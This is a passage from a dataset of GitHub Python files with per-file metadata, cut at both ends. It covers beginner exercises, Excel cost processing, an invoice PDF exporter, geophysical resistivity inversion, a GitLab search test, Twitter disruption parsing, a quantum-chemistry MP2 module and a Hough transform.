improvement for K-Clusters to be considered better.\")\n args = parser.parse_args()\n main(args)\n","repo_name":"Geist-of-the-Automaton/Image-Segmentation","sub_path":"palmetto/MultiImageSeg.py","file_name":"MultiImageSeg.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"36722766650","text":"num1 = input('Digite um número: ')\nnum2 = input('Digite outro número: ')\n\nif num1.isdigit() and num2.isdigit():\n num1= int(num1)\n num2= int(num2)\n\n print(num1 + num2)\n\nelse:\n print('Não é possível converter em números')","repo_name":"godoy405/Aulas-Python-b-sico-ao-avan-ado","sub_path":"Aula2/aula16.py","file_name":"aula16.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20413366761","text":"import pandas as pd\n\n# Mapear os ficheiros recebidos\nCustos_G13 = ''\nCustos_AV = ''\nCustos_SPN = ''\nCustos_SPN_CEO = ''\nCustos_YES = ''\nCustos_PMT = ''\nCustos_HSTP = ''\nCustos_JR = ''\nCustos_CA = ''\nCustos_JLS = ''\nCustos_JLS_RSA = ''\nCustos_VE = ''\nCustos_MAO = ''\nCustos_RB = ''\n\nprint(\"Ficheiros Mapeados\")\n\n# Preparar ficheiros apagando linhas e colunas desnecessárias\ndf_G13_R = pd.read_excel(Custos_G13, header=19, skiprows=1)\ndf_G13 = df_G13_R.drop(df_G13_R.columns[0], axis=1)\n\ndf_AV_R = pd.read_excel(Custos_AV, header=19, skiprows=1)\ndf_AV = df_AV_R.drop(df_AV_R.columns[0], axis=1)\n\ndf_SPN_R = pd.read_excel(Custos_SPN, header=19, skiprows=1)\ndf_SPN = df_SPN_R.drop(df_SPN_R.columns[0], axis=1)\n\ndf_SPN_CEO_R = pd.read_excel(Custos_SPN_CEO, header=19, skiprows=1)\ndf_SPN_CEO = df_SPN_CEO_R.drop(df_SPN_CEO_R.columns[0], axis=1)\n\ndf_YES_R = pd.read_excel(Custos_YES, header=19, skiprows=1)\ndf_YES = df_YES_R.drop(df_YES_R.columns[0], axis=1)\n\ndf_PMT_R = pd.read_excel(Custos_PMT, header=19, skiprows=1)\ndf_PMT = df_PMT_R.drop(df_PMT_R.columns[0], axis=1)\n\ndf_HSTP_R = pd.read_excel(Custos_HSTP, header=19, skiprows=1)\ndf_HSTP = df_HSTP_R.drop(df_HSTP_R.columns[0], axis=1)\n\ndf_JR_R = pd.read_excel(Custos_JR, header=19, skiprows=1)\ndf_JR = df_JR_R.drop(df_JR_R.columns[0], axis=1)\n\ndf_CA_R = pd.read_excel(Custos_CA, header=19, skiprows=1)\ndf_CA = df_CA_R.drop(df_CA_R.columns[0], axis=1)\n\ndf_JLS_R = pd.read_excel(Custos_JLS, header=19, skiprows=1)\ndf_JLS = df_JLS_R.drop(df_JLS_R.columns[0], axis=1)\n\ndf_JLS_RSA_R = pd.read_excel(Custos_JLS_RSA, header=19, skiprows=1)\ndf_JLS_RSA = df_JLS_RSA_R.drop(df_JLS_RSA_R.columns[0], axis=1)\n\ndf_VE_R = pd.read_excel(Custos_VE, header=19, skiprows=1)\ndf_VE = df_VE_R.drop(df_VE_R.columns[0], axis=1)\n\ndf_MAO_R = pd.read_excel(Custos_MAO, header=19, skiprows=1)\ndf_MAO = df_MAO_R.drop(df_MAO_R.columns[0], axis=1)\n\ndf_RB_R = pd.read_excel(Custos_RB, header=19, skiprows=1)\ndf_RB = df_RB_R.drop(df_RB_R.columns[0], axis=1)\n\nprint(\"Colunas e Linhas Apagadas\")\n# Gerar ficheiros finais para next step\ndf_G13.to_excel(\"CustosG13_Output.xlsx\")\ndf_AV.to_excel(\"CustosAV_Output.xlsx\")\ndf_SPN.to_excel(\"CustosSPN_Output.xlsx\")\ndf_SPN_CEO.to_excel(\"CustosSPN_CEO_Output.xlsx\")\ndf_YES.to_excel(\"CustosYES_Output.xlsx\")\ndf_PMT.to_excel(\"CustosPMT_Output.xlsx\")\ndf_HSTP.to_excel(\"CustosHSTP_Output.xlsx\")\ndf_JR.to_excel(\"CustosJR_Output.xlsx\")\ndf_CA.to_excel(\"CustosCA_Output.xlsx\")\ndf_JLS.to_excel(\"CustosJLS_Output.xlsx\")\ndf_JLS_RSA.to_excel(\"CustosJLS_RSA_Output.xlsx\")\ndf_VE.to_excel(\"CustosVE_Output.xlsx\")\ndf_MAO.to_excel(\"CustosMAO_Output.xlsx\")\ndf_RB.to_excel(\"CustosRB_Output.xlsx\")\nprint(\"Ficheiro Intermédio Criado\")\n","repo_name":"ptdcosta/pythonscripts2","sub_path":"0_STEP1_CUSTOS.py","file_name":"0_STEP1_CUSTOS.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17088203875","text":"from timeit import timeit\n\ndef is_palindrome1(s):\n return s == s[::-1]\n \ndef is_palindrome2(s):\n l = len(s)\n indx1 = l // 2 - 1\n indx2 = (l + 1) // 2\n while indx1 >= 0 and indx2 < l:\n if s[indx1] != s[indx2]:\n return False\n indx1, indx2 = indx1 - 1, indx2 + 1\n\n return True\n\ndef run(li, fnc):\n for s in li:\n fnc(s)\n\n\nif __name__ == \"__main__\":\n li = [\"abcdefghijklmnopqrstuvwxyzzyxwvutsrqponmlkjihgfedcb\"]\n t = timeit(lambda: run(li, is_palindrome1))\n print(t)\n t = timeit(lambda: run(li, is_palindrome2))\n print(t)\n","repo_name":"tamim/codinginterviewbook","sub_path":"palindrome/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"21"} +{"seq_id":"32316993366","text":"\"\"\"\nExport the Data to several ouputs\n\"\"\"\n\nimport logging\nimport os\n\nimport pdfkit\n\nfrom config import appconfig\n\nlog = logging.getLogger(__name__)\n\n\ndef export_to_pdf(source, InvoiceData):\n\n # check if we are on windows or Linux\n if os.name == \"nt\":\n config = pdfkit.configuration(wkhtmltopdf=appconfig.pfd_creator)\n\n ID = InvoiceData.invoice_id\n YEAR = InvoiceData.date.year\n NAME = InvoiceData.personal.name\n\n FilePath = os.path.join(appconfig.invoice_path, str(YEAR))\n FileName = f\"Invoice_{NAME.replace(' ', '_')}__{ID}.pdf\"\n\n log.info(f\"Creating Invoice : {FileName} in : {FilePath} ...\")\n\n if not os.path.exists(FilePath):\n os.makedirs(FilePath)\n\n FullPath = os.path.join(FilePath, FileName)\n\n if os.name == \"nt\":\n pdfkit.from_string(source, FullPath, configuration=config)\n else:\n pdfkit.from_string(source, FullPath)\n\n return [FileName, FilePath]\n","repo_name":"ThMountainMan/Invoice_Tracking","sub_path":"src/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5577112836","text":"################################\n# Kyle Sherman #\n# Homework #2 - Friend In Need #\n# Due 9/7/2017 #\n################################\n\n# imports and function definitions\n# function passes in the money variable\n# then determines if it is <, >, or = 0\n# will return a result based on the decision structures\ndef calcMoney(money):\n money = money\n if(money == 0):\n result = (\"Best wishes, \" + nameString) \n if(money > 0):\n result = (\"May I borrow ${:0,.2f}\".format(money / 2, 2) + \", \" + nameString + \"?\")\n if(money < 0):\n result = (\"I'm sorry, you're in debt, \" + nameString)\n return result\n\nnameString = input(\"What is your name? \")\nprint (\"Hello, \" + nameString)\n\n# While loop to validate the input and only allow a number\n# Accepts decimal or whole\n# Try - Except is the python way of doing a try catch\n# will ensure that the input allowed is valid\nvalidInput = False\nwhile validInput == False:\n try:\n money = float(input(\"How much money do you have, \" + nameString + \"? $\"))\n validInput = True\n print(calcMoney(money))\n \n except ValueError:\n print(\"That is not a valid input! You must enter a number, either whole or decimal.\")\n print()\n\n\n","repo_name":"KSherman97/PythonHomework","sub_path":"AFriendInNeed (5).py","file_name":"AFriendInNeed (5).py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21338449692","text":"# coding: utf-8\n\n# 1st step\n# In[1]:\n\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 21 11:04:31 2020\n@author: Benjamin\n\"\"\"\nfrom mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import\nimport matplotlib.pyplot as plt\n\n# import libraries\nfrom resipy import R2 # geophysics tools\nimport numpy as np # matrice operations\nimport pyvista as pv # if not installed : pip install with conda install pyvista (in a conda terminal)\nimport shutil\nimport glob\n\n# Put the current folder\nimport os \n#MainPath=os.getcwd()\nMainPath = 'E:/Padova/Experiments/2020_Rhizotron_Veronika_PRD_vitis_EIT/git_TDIP/'\nos.chdir(MainPath)\n#https://hkex.gitlab.io/resipy/api.html\n\n\n# In[2]:\n\n\nelecs_raw = np.genfromtxt('./mesh/elecsXYZ.csv', delimiter=\",\",skip_header=1)\nelecs = np.copy(elecs_raw)\n\n\n# In[3]:\n\n\n# ---------------------------------------------------------#\n# create an instance of R3 for each survey\n# ---------------------------------------------------------#\ncsvfiles = glob.glob1(MainPath + 'raw_data/ERT/',\"*.csv\")\n\nfor i in enumerate([csvfiles[0],csvfiles[6]]):\n\n k = R2(MainPath + 'ERT_inversion/step' + str(i[0]), typ='R3t')\n k.setTitle('Rhizo_'+str(i[0]))\n # ---------------------------------------------------------#\n # create survey\n # ---------------------------------------------------------#\n\n k.createSurvey(MainPath + 'raw_data/ERT/'+ str(i[1]) , ftype='Syscal') # read the survey file\n k.filterUnpaired()\n k.filterRecip(percent=10) # in this case this only removes one quadrupoles with reciprocal error bigger than 20 percent\n k.fitErrorPwl()\n # k.setElec(np.c_[elecs[:,0],elecs[:,1],elecs[:,2],elecsFlag])\n k.setElec(np.c_[elecs[:,0],elecs[:,1],elecs[:,2]])\n #k.filterAppResist(vmin=-2000,vmax=2000)\n # ---------------------------------------------------------#\n # import mesh\n # ---------------------------------------------------------#\n elecs= np.genfromtxt('./mesh/elecsXYZ.csv', delimiter=\",\",skip_header=1)\n \n elecsFlag = np.concatenate([np.zeros(8),np.ones(len(elecs[:,2])-8)])\n k.setElec(np.c_[elecs[:,0],elecs[:,2],elecs[:,1],elecsFlag])\n # k.setElec(np.c_[elecs[:,0],elecs[:,1],elecs[:,2]])\n \n k.importMesh('./mesh/mesh_rhizo_resipy.msh')\n # ---------------------------------------------------------#\n # inversion\n # ---------------------------------------------------------#\n k.param['num_xy_poly'] = 0\n k.param['zmin'] = -np.inf\n k.param['zmax'] = np.inf\n k.param['data_type'] = 1 # using log of resistitivy\n k.err = False # if we want to use the error from the error models fitted before\n k.param['a_wgt'] = 0.001\n k.param['b_wgt'] = 0.05\n k.invert() # this will do the inversion\n # k.saveData(MainPath)\n\n # pl = pv.Plotter(notebook=False) # init pyvista plotter object\n # fig = k.showResults(ax=pl,index=-1,pvcontour=[2, 2.1], \n # pvgrid=True,\n # attr='difference(percent)',\n # sens=True,\n # # vmin=-10, vmax=10,\n # color_map='bwr',\n # xlim=[0,100],ylim=[-50,50],zlim=[-100,0],\n # pvshow=False)\n # pl.show(screenshot=MainPath + 'TLdiffstep_vol' + str(tl) + '.png')\n \n pl = pv.Plotter(notebook=True) # init pyvista plotter object\n k.showResults(ax=pl,\n attr='Resistivity(log10)', \n sens=True, \n contour=True, \n use_pyvista=True,\n xlim=[0,0.45],ylim=[-0.03,0],zlim=[0,0.5],\n pvshow=False)\n pl.show(screenshot=MainPath + 'ERT_inversion/step' + str(i[0]) + '/invdir/'+ i[1] + '_log.png')\n\n pl = pv.Plotter(notebook=True) # init pyvista plotter object\n k.showResults(ax=pl,\n attr='Resistivity(ohm.m)', \n sens=True, \n contour=True, \n vmin=8, vmax=10,\n use_pyvista=True,\n xlim=[0,0.45],ylim=[-0.03,0],zlim=[0,0.5],\n pvshow=False)\n pl.show(screenshot=MainPath + 'ERT_inversion/step' + str(i[0]) + '/invdir/'+ i[1] + '.png')\n \n # ---------------------------------------------------------#\n # copy protocol file to TL folder\n # ---------------------------------------------------------#\n src=MainPath + 'ERT_inversion/step' + str(i[0]) + '/invdir/protocol.dat'\n dst_folder=MainPath + 'ERT_inversion/TL/'\n \n if not os.path.exists(dst_folder):\n os.makedirs(dst_folder)\n shutil.copy(src,dst_folder + 'protocol' + str(i[0]) + '.dat')\n \n\n\n# In[ ]:\nk = R2(MainPath + 'ERT_inversion/TL' , typ='R3t')\nk.setTitle('Rhizo_inv_TL')\n\n# ---------------------------------------------------------#\n# create survey\n# ---------------------------------------------------------#\ntestdir = MainPath + 'ERT_inversion/TL/'\nk.createTimeLapseSurvey(testdir, ftype='ProtocolDC')\nk.importElec(testdir + '../electrodes.csv')\nk.importMesh('./mesh/mesh_rhizo_resipy.msh')\n\n# ---------------------------------------------------------#\n# inversion\n# ---------------------------------------------------------#\n#k.invert(parallel=True) # takes a while because it invert all the surveys together\n\nk.param['num_xy_poly'] = 0\n# k.param['z_min'] = -100\n# k.param['z_max'] = 0\n\nk.param['zmin'] = -np.inf\nk.param['zmax'] = np.inf\n\nk.param['data_type'] = 1 # using log of resistitivy\nk.err = False # if we want to use the error from the error models fitted before\nk.param['a_wgt'] = 0.01\nk.param['b_wgt'] = 0.05\n# k.saveData(MainPath)\nk.reg_mode = 1\nk.invert() # this will do the inversion\n\n# In[ ]:\n\nfor tl in range(len(k.surveys)):\n pl = pv.Plotter(notebook=False) # init pyvista plotter object\n fig = k.showResults(ax=pl,index=tl,\n pvgrid=True,\n attr='difference(percent)',\n sens=True,\n # vmin=-10, vmax=10,\n color_map='bwr',\n xlim=[0,100],ylim=[-50,50],zlim=[-100,0],\n pvshow=False)\n pl.show(screenshot=MainPath + 'ERT_inversion/TL/TLdiffstep' + str(tl) + '.png')\n pl.close()\n\n\nfor tl in range(len(k.surveys)):\n pl = pv.Plotter()\n k.showResults(ax=pl, sens=True, index=tl, attr= 'Resistivity(ohm.m)',\n vmin=0, vmax=500,\n pvslices=([50],[0]), pvgrid=True)\n pl.show(screenshot=MainPath + 'TLstep' + str(tl) + '.png')\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"BenjMy/rhizotron_tdip","sub_path":"ERT_TL.py","file_name":"ERT_TL.py","file_ext":"py","file_size_in_byte":6395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"337942319","text":"import unittest\nimport importlib\n\nmain_script=importlib.import_module('gitlab-search')\nsearch = getattr(main_script, 'search')\n\napi_debug_arg = False\ninternal_debug_arg = False\ngitlab_server_arg = 'https://gitlab.com'\ntoken_arg = 'TOKEN_CHANGE_ME!'\ngroup_arg = 'test_group_for_gitlab-search_testing'\n\nclass TestGitlabSearch(unittest.TestCase):\n def test_01(self):\n regex_arg = True\n file_filter_arg = '.*'\n text_arg = 'foobar00'\n project_filter_arg = None\n\n self.assertEqual(search(gitlab_server_arg, token_arg, file_filter_arg, text_arg, group_arg, project_filter_arg, api_debug_arg, internal_debug_arg, regex_arg), [{'file': 'README.md', 'project': 'test_project_3'}, {'project': 'test_project_2', 'file': 'test.txt'}, {'project': 'test_project_1', 'file': 'README.md'}, {'project': 'test_project_1', 'file': 'foobar_zero-zero-two'}])\n\n def test_02(self):\n regex_arg = False\n file_filter_arg = '.*'\n text_arg = 'foobar00'\n project_filter_arg = None\n\n self.assertEqual(search(gitlab_server_arg, token_arg, file_filter_arg, text_arg, group_arg, project_filter_arg, api_debug_arg, internal_debug_arg, regex_arg), [])\n\n def test_03(self):\n regex_arg = False\n file_filter_arg = 'test.txt'\n text_arg = 'foobar00'\n project_filter_arg = None\n\n self.assertEqual(search(gitlab_server_arg, token_arg, file_filter_arg, text_arg, group_arg, project_filter_arg, api_debug_arg, internal_debug_arg, regex_arg), [{'file': 'test.txt', 'project': 'test_project_2'}])\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"danielskowronski/gitlab-search","sub_path":"gitlab-search-test.py","file_name":"gitlab-search-test.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27744698055","text":"import snscrape.modules.twitter as sntwitter\nimport pandas as pd\n\ndef get_twitter_data(query, max_tweets, haltestellen):\n\n # function takes a query, the maximum number of tweets to be scraped and \n # a list of stations as input and returns a dataframe with the tweets and their attributes.\n \n # Created a list to append all tweet attributes(data)\n attributes_container = []\n\n # Using TwitterSearchScraper to scrape data and append tweets to list\n for i, tweet in enumerate(sntwitter.TwitterSearchScraper(query).get_items()):\n if i>max_tweets:\n break\n # Check if tweet.content has one of the keywords\n if any(keyword in tweet.content.lower() for keyword in haltestellen):\n attributes_container.append([tweet.date, tweet.likeCount, tweet.sourceLabel, tweet.content])\n \n if i % 500 == 0:\n print(i)\n \n # Creating a dataframe from the tweets list above \n tweets_df = pd.DataFrame(attributes_container, columns=[\"Date Created\", \"Number of Likes\", \"Source of Tweet\", \"Tweets\"])\n \n # Drop unnecessary columns\n tweets_df = tweets_df.drop([\"Number of Likes\", \"Source of Tweet\"], axis=1)\n \n return tweets_df\n\ndef process_twitter_data(tweets, haltestellen, linien):\n\n # function takes a dataframe with tweets and a list of stations as input and returns a dataframe with the tweets and their attributes.\n\n # Import libraries\n import pandas as pd\n import numpy as np\n import datetime as dt\n\n # Find first words of all tweets which represent Einschränkungstyp\n tweets['Einschr_type'] = tweets['Tweets'].str.split().str[0]\n\n # delete links from tweets\n tweets['Tweets'] = tweets['Tweets'].str.replace('http\\S+|www.\\S+', '', case=False, regex=True)\n\n # tweets to lower case\n tweets['Tweets'] = tweets['Tweets'].str.lower()\n\n # extract all stations from tweets in a list\n tweets['haltestellen'] = tweets['Tweets'].str.findall('|'.join(haltestellen))\n\n # replace all 'ic ' with 'ic' in tweets and 'ir ' with 'ir'\n tweets['Tweets'] = tweets['Tweets'].str.replace('ic ', 'ic', case=False, regex=True)\n tweets['Tweets'] = tweets['Tweets'].str.replace('ir ', 'ir', case=False, regex=True) \n\n # extract all stations from tweets in a list\n tweets['linien'] = tweets['Tweets'].str.findall('|'.join(linien))\n\n # filter rows with empty lists\n tweets = tweets.loc[tweets['linien'].str.len() != 0]\n\n tweets['zeiten'] = tweets['Tweets'].str.findall('\\d{2}\\:\\d{2}\\s-\\s\\d{2}\\:\\d{2}')\n\n # Zeiten mehrtägig\n tweets['zeiten_multiple'] = tweets['Tweets'].str.findall('\\d{2}\\.\\d{2}\\.\\d{4}\\s\\d{2}\\:\\d{2}\\s-\\s\\d{2}\\.\\d{2}\\.\\d{4}\\s\\d{2}\\:\\d{2}')\n\n # Recode empty lists in zeiten and zeiten_multiple with NaN\n tweets['zeiten'] = tweets['zeiten'].apply(lambda x: np.nan if len(x)==0 else x)\n tweets['zeiten_multiple'] = tweets['zeiten_multiple'].apply(lambda x: np.nan if len(x)==0 else x)\n\n # Split Datum_ab, Zeit_ab, Zeit_bis and Datum_bis\n tweets['Datum_ab'], tweets['Zeit_ab'], x, tweets['Datum_bis'], tweets['Zeit_bis'] = zip(*tweets['zeiten_multiple'].apply(lambda x: x[0].split(' ') if pd.notna(x) else [np.nan, np.nan, np.nan, np.nan, np.nan]))\n tweets['Zeit_ab_m'], x, tweets['Zeit_bis_m'] = zip(*tweets['zeiten'].apply(lambda x: x[0].split(' ') if pd.notna(x) else [np.nan, np.nan, np.nan]))\n # Set Datum_bis and Datum_ab to 'Date Created' if it's 0\n tweets['Datum_bis'] = np.where(tweets['Datum_bis'].isna(), tweets['Date Created'].dt.strftime(\"%d.%m.%Y\"), tweets['Datum_bis'])\n tweets['Datum_ab'] = np.where(tweets['Datum_ab'].isna(), tweets['Date Created'].dt.strftime(\"%d.%m.%Y\"), tweets['Datum_ab'])\n\n # Fill NaN in Zeit_ab and Zeit_bis with Zeit_ab_m and Zeit_bis_m\n tweets['Zeit_ab'] = np.where(tweets['Zeit_ab'].isna(), tweets['Zeit_ab_m'], tweets['Zeit_ab'])\n tweets['Zeit_bis'] = np.where(tweets['Zeit_bis'].isna(), tweets['Zeit_bis_m'], tweets['Zeit_bis'])\n\n # Create a new column 'von' by combining date and time information from 'Datum_ab' and 'Zeit_ab'\n tweets['von'] = pd.to_datetime(tweets['Datum_ab'] + ' ' + tweets['Zeit_ab'], dayfirst=True, errors='coerce')\n # Create a new column 'bis' by combining date and time information from 'Datum_bis' and 'Zeit_bis'\n tweets['bis'] = pd.to_datetime(tweets['Datum_bis'] + ' ' + tweets['Zeit_bis'], dayfirst=True, errors='coerce')\n\n # Explode lists in haltestellen and linien\n tweets = tweets.explode('haltestellen')\n tweets = tweets.explode('linien')\n\n # Drop duplicates\n tweets.drop_duplicates(subset=['linien', 'haltestellen', 'Datum_ab', 'Datum_bis',], inplace=True)\n\n # Drop unnecessary columns\n tweets = tweets.drop(columns=['zeiten', 'zeiten_multiple', 'Zeit_ab_m', 'Zeit_bis_m', 'Datum_ab', 'Datum_bis', 'Zeit_ab', 'Zeit_bis'])\n\n # All linien to upper\n tweets['linien'] = tweets['linien'].str.upper()\n\n return tweets\n\ndef check_overlap(row, disturbances):\n \n # HELPERFUNCTION for add_twitter_info()\n # This function checks if a row from data_disturbances overlaps with a row from twitter_clean.\n # It returns a boolean and the type of the disturbance.\n \n same_place = (disturbances['haltestellen'] == row['haltestelle_ab']) | (disturbances['haltestellen'] == row['haltestelle_an'])\n start_before_arrival = disturbances['von'] <= row['AB_soll']\n end_after_departure = disturbances['bis'] >= row['AN_soll']\n overlap = same_place & start_before_arrival & end_after_departure\n if overlap.any():\n return pd.Series([True, disturbances.loc[overlap, 'Einschr_type'].values[0]])\n return pd.Series([False, ''])\n\ndef add_twitter_info(input_df, twitter):\n\n #function adds information from twitter to the input_df.\n\n input_df['haltestelle_ab'] = input_df['haltestelle_ab'].str.lower()\n input_df['haltestelle_an'] = input_df['haltestelle_an'].str.lower()\n\n result = input_df.apply(check_overlap, axis=1, disturbances=twitter)\n result.columns = ['disturbance_overlap', 'Einschr_type']\n new_df = pd.concat([input_df, result], axis=1)\n\n return new_df\n\ndef station_upper(x):\n #This function converts all stations to their correct format.\n s = x.split(' ')\n if len(s) == 1:\n return s[0].title()\n elif len(s) == 2:\n if len(s[1]) <= 3:\n return s[0].title() + ' ' + s[1].upper()\n else:\n return s[0].title() + ' ' + s[1].title()\n else:\n out = ''\n for t in s:\n out += t.title() + ' '\n return out","repo_name":"silvnst/big-data-fs23","sub_path":"App/helper/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":6524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2702369107","text":"#!/usr/bin/env python\n# $Id$\n# -*- coding: utf-8\n\n'''\ndensity fitting MP2, 3-center integrals incore.\n'''\n\nimport time\nimport tempfile\nimport numpy\nfrom pyscf import lib\nfrom pyscf.lib import logger\nfrom pyscf import df\n\n\n# the MO integral for MP2 is (ov|ov). The most efficient integral\n# transformation is\n# (ij|kl) => (ij|ol) => (ol|ij) => (ol|oj) => (ol|ov) => (ov|ov)\n# or => (ij|ol) => (oj|ol) => (oj|ov) => (ov|ov)\n\ndef kernel(mp, mo_energy, mo_coeff, nocc, ioblk=256, verbose=None):\n nmo = mo_coeff.shape[1]\n nvir = nmo - nocc\n auxmol = df.incore.format_aux_basis(mp.mol, mp.auxbasis)\n naoaux = auxmol.nao_nr()\n\n iolen = max(int(ioblk*1e6/8/(nvir*nocc)), 160)\n\n eia = lib.direct_sum('i-a->ia', mo_energy[:nocc], mo_energy[nocc:])\n t2 = None\n emp2 = 0\n with mp.ao2mo(mo_coeff, nocc) as fov:\n for p0, p1 in prange(0, naoaux, iolen):\n logger.debug(mp, 'Load cderi block %d:%d', p0, p1)\n qov = numpy.array(fov[p0:p1], copy=False)\n for i in range(nocc):\n buf = numpy.dot(qov[:,i*nvir:(i+1)*nvir].T,\n qov).reshape(nvir,nocc,nvir)\n gi = numpy.array(buf, copy=False)\n gi = gi.reshape(nvir,nocc,nvir).transpose(1,2,0)\n t2i = gi/lib.direct_sum('jb+a->jba', eia, eia[i])\n # 2*ijab-ijba\n theta = gi*2 - gi.transpose(0,2,1)\n emp2 += numpy.einsum('jab,jab', t2i, theta)\n\n return emp2, t2\n\n\nclass MP2(object):\n def __init__(self, mf):\n self.mol = mf.mol\n self._scf = mf\n self.verbose = self.mol.verbose\n self.stdout = self.mol.stdout\n self.max_memory = mf.max_memory\n if hasattr(mf, 'auxbasis'):\n self.auxbasis = mf.auxbasis\n else:\n self.auxbasis = 'weigend+etb'\n self._cderi = None\n self.ioblk = 256\n\n self.emp2 = None\n self.t2 = None\n\n def kernel(self, mo_energy=None, mo_coeff=None, nocc=None):\n if mo_coeff is None:\n mo_coeff = self._scf.mo_coeff\n if mo_energy is None:\n mo_energy = self._scf.mo_energy\n if nocc is None:\n nocc = self.mol.nelectron // 2\n\n self.emp2, self.t2 = \\\n kernel(self, mo_energy, mo_coeff, nocc, self.ioblk,\n verbose=self.verbose)\n logger.log(self, 'RMP2 energy = %.15g', self.emp2)\n return self.emp2, self.t2\n\n # MO integral transformation for cderi[auxstart:auxcount,:nao,:nao]\n def ao2mo(self, mo_coeff, nocc):\n time0 = (time.clock(), time.time())\n log = logger.Logger(self.stdout, self.verbose)\n cderi_file = tempfile.NamedTemporaryFile()\n df.outcore.general(self.mol, (mo_coeff[:,:nocc], mo_coeff[:,nocc:]),\n cderi_file.name, auxbasis=self.auxbasis, verbose=log)\n time1 = log.timer('Integral transformation (P|ia)', *time0)\n return df.load(cderi_file)\n\ndef prange(start, end, step):\n for i in range(start, end, step):\n yield i, min(i+step, end)\n\nif __name__ == '__main__':\n from pyscf import scf\n from pyscf import gto\n mol = gto.Mole()\n mol.verbose = 0\n mol.atom = [\n [8 , (0. , 0. , 0.)],\n [1 , (0. , -0.757 , 0.587)],\n [1 , (0. , 0.757 , 0.587)]]\n\n mol.basis = 'cc-pvdz'\n mol.build()\n mf = scf.RHF(mol)\n mf.scf()\n pt = MP2(mf)\n pt.max_memory = .05\n emp2, t2 = pt.kernel()\n print(emp2 - -0.204254491987)\n\n mf = scf.density_fit(scf.RHF(mol))\n mf.scf()\n pt = MP2(mf)\n pt.max_memory = .05\n pt.ioblk = .05\n pt.verbose = 5\n emp2, t2 = pt.kernel()\n print(emp2 - -0.203986171133)\n","repo_name":"sunchong137/pyscf_2017","sub_path":"mp/dfmp2.py","file_name":"dfmp2.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"26175570036","text":"import re\n\nfrom enos.core.constant.ArrivedTopicPattern import ArrivedTopicPattern\nfrom enos.core.message.BaseResponse import BaseResponse\nfrom enos.message.upstream.ota.Firmware import Firmware\n\n\nclass OtaGetVersionResponse(BaseResponse):\n\n def get_match_topic_pattern(self):\n return re.compile(ArrivedTopicPattern.GET_VERSION_TOPIC_REPLY)\n\n def get_firmware_info(self):\n data_list = self.get_data()\n results = list()\n if data_list is not None:\n for data in data_list:\n firmware = Firmware()\n firmware.version = data.get('version')\n firmware.sign_method = data.get('signMethod')\n firmware.sign = data.get('sign')\n firmware.file_url = data.get('fileUrl')\n firmware.file_size = data.get('fileSize')\n results.append(firmware)\n return results\n\n @classmethod\n def get_class(cls):\n return cls.__name__\n","repo_name":"EnvisionIot/enos-device-sdk-python","sub_path":"enos/message/upstream/ota/OtaGetVersionResponse.py","file_name":"OtaGetVersionResponse.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"29278810525","text":"import numpy as np\nimport pandas as pd\nimport math\nfrom datetime import datetime\nimport sys\nfrom PIL import Image, ImageOps\nimport matplotlib.pyplot as plt\nfrom numpy import asarray\n\nfrom src.data.constants import path\nfrom src.data.variables import hough_thresholds\n\n\ndef find_edge_pixels(gs_array: np.ndarray, phi: int, r: int, phis: list, rs: list, resolution):\n for x in range(resolution[1] - 1):\n if phi == 0: # vertical line --> check all the points with x = r, than break out of the loop\n for y in range(gs_array.shape[0]):\n if gs_array[y][r] == 255:\n phis.append(phi)\n rs.append(r)\n break\n\n if phi < 90:\n y_hi = int((r - x * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n y_lo = int((r - (x + 1) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n else:\n y_lo = int((r - (x - resolution[1]) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n y_hi = int((r - (x + 1 - resolution[1]) * math.cos(math.pi * phi / 180)) / math.sin(math.pi * phi / 180))\n\n if y_hi < gs_array.shape[0] and y_lo >= 0:\n diff = y_hi - y_lo + 1\n for i in range(diff):\n if i < diff / 2 and gs_array[y_lo + i][x] == 255 or (i >= diff / 2 and gs_array[y_lo + i][x + 1] == 255):\n phis.append(phi)\n rs.append(r)\n\n\ndef hough_transform(gsimg: Image, hough_threshold: int):\n gs_array = asarray(gsimg)\n phis = []\n rs = []\n\n resolution = (180, int(gs_array.shape[1]))\n for phi in range(resolution[0]):\n for r in range(resolution[1]):\n find_edge_pixels(gs_array, phi, r, phis, rs, resolution)\n\n # Just for progress update purposes\n if phi == resolution[0] - 1:\n print()\n else:\n sys.stdout.write('\\r' + f\"Progress: {math.ceil(100 * phi / (resolution[0] - 1))} %\")\n\n fig, ax = plt.subplots()\n ax.hexbin(phis, rs, gridsize=resolution[0])\n\n plt.show()\n\n phis_df = pd.DataFrame(phis, columns=[\"phis\"])\n rs_df = pd.DataFrame(rs, columns=[\"rs\"])\n\n edges = 